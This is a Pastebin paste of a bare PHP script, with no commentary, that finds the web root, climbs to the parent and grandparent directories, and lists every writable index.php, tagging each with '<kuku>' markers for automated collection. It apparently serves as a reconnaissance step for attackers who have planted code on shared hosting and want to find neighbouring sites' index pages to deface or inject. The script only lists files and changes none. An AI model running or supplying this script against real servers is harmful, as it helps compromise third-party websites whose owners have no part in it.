Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(300);
- function getRoot($urlPath, $scriptPath) {
- $root = false;
- $pos = strpos($scriptPath, $urlPath);
- if ($pos) {
- $root = substr($scriptPath, 0, $pos);
- }
- return $root;
- }
- function find_dirs($path, &$level, $maxlevel, &$dirs) {
- if ($level > $maxlevel) {
- $level--;
- return;
- }
- $path = rtrim(str_replace("\\", "/", $path), '/') . '/*';
- foreach (glob ($path) as $fullname) {
- if (is_dir($fullname)) {
- $dirs[] = $fullname;
- $level++;
- find_dirs($fullname, $level, $maxlevel, $dirs);
- }
- }
- $level--;
- }
- $cur_dir = getcwd();
- $self = str_replace("\\", "/", $_SERVER['PHP_SELF']);
- $fullself = str_replace("\\", "/", $cur_dir."/".basename($_SERVER['PHP_SELF']));
- $root = getRoot($self, $fullself);
- if ($root === false) die("error: root not found");
- $dirs = array();
- $parent_dir = dirname($root);
- $grandparent_dir = dirname($parent_dir);
- $level = 0;
- find_dirs($grandparent_dir, $level, 1, $dirs);
- if (count($dirs) == 0) {
- $level = 0;
- find_dirs($parent_dir, $level, 0, $dirs);
- }
- if (count($dirs) == 0) {
- $dirs[] = $root;
- }
- foreach($dirs as $dir) {
- $f = "$dir/index.php";
- if (is_writable($f)) {
- echo "<kuku>$f</kuku>";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement